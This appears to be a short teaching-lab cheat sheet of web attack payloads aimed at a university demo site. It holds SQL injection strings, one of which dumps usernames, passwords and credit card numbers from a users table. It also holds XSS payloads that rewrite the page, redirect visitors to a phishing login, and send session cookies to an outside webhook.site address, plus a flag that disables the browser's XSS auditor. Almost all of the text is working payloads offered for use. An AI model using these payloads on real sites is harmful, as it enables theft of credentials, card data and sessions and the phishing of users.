http://snafu.staff.uod.otago.ac.nz:8080/injection/


// basic injection
' or 1=1;--

// can we exfil data?
'or 1=1 union select 'WOOHOO!' from users order by name desc; --

// get entire users table
'or 1=1 union select group_concat(username||':'||password||':'||name||':'||credit_card) from users as name order by name desc; --

// change color
food<script>document.body.style.backgroundColor='#FF0000'</script>

// change back button
food<br/><a href="https://i.chzbgr.com/maxW500/4554986496/hF3327748/">Back</a><!--

// fake login
<script>alert('Session timed out.  Please log in to continue.');window.location='http://snafu.staff.uod.otago.ac.nz:8080/injection/herephishyphishy.jsp'</script>

// display cookies
<script>alert(document.cookie)</script>

// exfil cookies
<script>window.location='https://webhook.site/c3300dea-ce9d-4860-879f-6320d4c24c43?'+document.cookie</script>

// setting cookie via console
document.cookie = "JSESSIONID=?"

--disable-xss-auditor